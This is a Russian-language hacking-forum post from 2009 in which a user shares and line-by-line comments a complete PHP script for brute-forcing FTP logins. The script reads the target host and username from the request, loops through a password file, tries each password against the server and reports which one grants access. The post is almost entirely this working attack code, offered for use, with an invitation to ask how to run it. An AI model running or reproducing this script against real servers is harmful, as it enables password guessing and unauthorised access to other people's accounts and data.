
12.01.2009, 02:16
|
|
Новичок
Регистрация: 15.07.2008
Сообщений: 10
С нами:
9380681
Репутация:
9
|
|
[php] ftp Брут
Вдруг понадобился брут фтп сервера.
Решил показать вам код и прокомментировать его.
PHP код:
<?php
//@Coder - Capcha
//@PHP ftp Brute v.1.0 ;)
//Config//
$host = $_GET['host']; //Передаём переменной $host IP адресс нашего фтп, через GET запрос
$passwords = "pass.txt"; //Файл с паролями
$user = $_GET['user']; //Передаём переменной $user логин от сервера
//------//
//Script//
if(isset($host)){ //Если существует переменная $host, т.е. если она не равна NULL, то
$pass = file($passwords); //каждую строку файла заганяем в каждую клетку массива переменной $pass
foreach($pass as $line){ //переменной $line придаётся значение каждой клетки массива
@$conn = ftp_connect($host);
if(!@$conn){ //Если не удалось приконнектится, то
die("<font color=orange>Connection Error</font>"); //заканчиваем работу скрипта
} else { //Иначе, если получилось приконнектиться, то
$line = trim($line); //отчищаем переменную $line от пробелов и от \n
echo $line." - "; //выводим пароль на екран
@$login = ftp_login($conn,$user,$line);
if(!@$login){ //Если не удаётся зайти на сервак под этим пассом и логином, то
echo "<font color=red>Access Denied</font><br>"; //выводим-с это и
@ftp_close($conn);//закрываем соединение
} else { //Иначе если удалось залогиниться, то
echo "<font color=green>Access Grunted</font><br>";//выводим вот это
@ftp_close($conn); //Закрываем соединение
}
}
}
}
?>
Как использывать скрипт?
Собственно и всё, задавайте свои вопросы, если таковые имеются.
|
|
|